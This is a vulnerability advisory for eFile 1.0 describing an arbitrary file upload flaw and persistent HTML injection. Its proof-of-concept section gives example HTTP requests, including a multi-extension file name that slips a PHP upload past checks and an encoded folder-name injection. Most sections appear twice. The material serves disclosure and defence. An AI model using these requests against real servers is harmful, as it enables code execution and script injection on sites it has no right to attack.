eFile Arbitrary File Upload and Multiple HTML Injection Vulnerabilities
BID:60839
Info
eFile Arbitrary File Upload and Multiple HTML Injection Vulnerabilities
| Bugtraq ID: | 60839 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 28 2013 12:00AM |
| Updated: | Jun 28 2013 12:00AM |
| Credit: | Benjamin Kunz Mejri |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
eFile Arbitrary File Upload and Multiple HTML Injection Vulnerabilities
eFile is prone to an arbitrary file-upload vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
An attacker could exploit these issues to execute arbitrary script code in a user's browser in the context of the affected site or to execute arbitrary code on the server.
eFile 1.0 is affected; other versions may also be vulnerable.
eFile is prone to an arbitrary file-upload vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
An attacker could exploit these issues to execute arbitrary script code in a user's browser in the context of the affected site or to execute arbitrary code on the server.
eFile 1.0 is affected; other versions may also be vulnerable.
Exploit / POC
eFile Arbitrary File Upload and Multiple HTML Injection Vulnerabilities
An attacker can exploit these issues through a browser.
The following example requests are available:
File Upload:
Host=localhost:8080
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
DNT=1
X-Requested-With=XMLHttpRequest
X-File-Name=1234.png.txt.iso.php.gif
Content-Type=application/octet-stream
Referer=http://localhost:8080/
Content-Length=98139
POSTDATA =?PNG[X]
HTML-injection:
POST http://localhost:8080/# Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[-1] Mime Type[application/x-unknown-content-type]
Request Headers:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Post Data:
newFolder[%2520%3E%22%3C[PERSISTENT INJECTED SCRIPT CODE!]+src%3Da%3E]
submitButton[Create]
An attacker can exploit these issues through a browser.
The following example requests are available:
File Upload:
Host=localhost:8080
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
DNT=1
X-Requested-With=XMLHttpRequest
X-File-Name=1234.png.txt.iso.php.gif
Content-Type=application/octet-stream
Referer=http://localhost:8080/
Content-Length=98139
POSTDATA =?PNG[X]
HTML-injection:
POST http://localhost:8080/# Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[-1] Mime Type[application/x-unknown-content-type]
Request Headers:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Post Data:
newFolder[%2520%3E%22%3C[PERSISTENT INJECTED SCRIPT CODE!]+src%3Da%3E]
submitButton[Create]
Solution / Fix
eFile Arbitrary File Upload and Multiple HTML Injection Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
eFile Arbitrary File Upload and Multiple HTML Injection Vulnerabilities
References:
References: